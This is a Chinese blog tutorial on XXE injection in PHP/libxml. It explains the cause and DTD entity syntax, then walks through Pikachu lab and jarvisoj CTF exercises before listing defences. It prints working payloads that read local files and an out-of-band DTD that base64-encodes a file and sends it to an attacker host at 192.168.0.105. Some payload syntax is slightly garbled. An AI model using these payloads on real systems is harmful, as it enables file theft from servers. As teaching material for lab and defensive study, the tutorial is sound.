• XXE


    一.XXE的原理

    运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE); 

    要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

    如图,libxml低于2.9.1,说明存在XXE漏洞

    二.XXE的定义

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    三.XXE的文档结构

    <?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   

    xml声明、版本(gb2312表示中国)、编码(UTF-8指的是万能编码,它支持各个国家的语言)

    <!DOCTYPE root system "http://www.XXXX.com/file"[ ...

    定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。

    <!ELEMENT root (other)> ...

    元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等

    四.DTD的基础知识

    基本的PAYLOAD结构:

    DTD实体声明

    内部实体声明

    示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY xxe "oldboyedu.com">]>
    <foo>&xxe;</foo>

    外部实体声明

    任何语言都支持file、http、ftp协议

    示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
    <foo>&xxe;</foo>

    参数实体声明

    示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>

    五.XXE攻击

    有回显情况

    示例:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
    %xxe;]>
    <foo>&evil;</foo>

    无回显情况

    建立*.dtd

    示例:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">

    定义DTD文件上传到服务器,然后调用就可以了

    xml调用

    示例:

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>

     把显示在日志里的结果通过burp suite解密

     

    六.XXE漏洞利用及相关扩展知识

    pikachu  xxe代码

    <?xml version = "1.0"?>

    <!DOCTYPE ANY [

        <!ENTITY f SYSTEM "file:///C://1.txt">

    ]>

    <x>&f;</x>

    示例:

     打开pikachu,通过Burp suite 抓包(1.挖XXE漏洞首先找有参数的地方2.看他的accept头允许哪种语言,发现xml说明允许xml提交语言3.可以在参数出随意输入值(因为参数没有过滤,其次libxml低于2.9)

    还有一种方法就是看xml后面是否是XXE编码

    找到漏洞后,输入代码:<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://2.txt"> ]> <x>&f;</x>

     

    jarvisoj上的一道题目API调用

    这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

    进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

     

     

     把json改为xml,把最后一行复制为

    <?xml version = "1.0"?>
    <!DOCTYPE xxe [
        <!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
    ]>
    <x>&file;</x>

    七.XXE漏洞修复与防御

    复制一行代码

    libxml_disable_entity_loader(true);

    升级为高版本

    手动黑名单过滤

    过滤关键词:<!DOCTYPE<!ENTITY SYSTEMPUBLIC

  • 相关阅读:
    洛谷P5661 公交换乘(二分)
    洛谷P4047 [JSOI2010]部落划分(最小生成树)
    洛谷P2872 [USACO07DEC]Building Roads S(最小生成树)
    卸载重装VirtualBox回滚报错
    POJ1151 Atlantis(扫描线+线段树+离散化)
    QT入门-信号槽拓展
    Vue模板语法与常用指令总结
    Vue 生命周期
    querySelector和getElementById方法的区别
    ES6 Class(类)的继承与常用方法
  • 原文地址:https://www.cnblogs.com/2001-04-14-03-21/p/14254794.html
Copyright © 2020-2023  润新知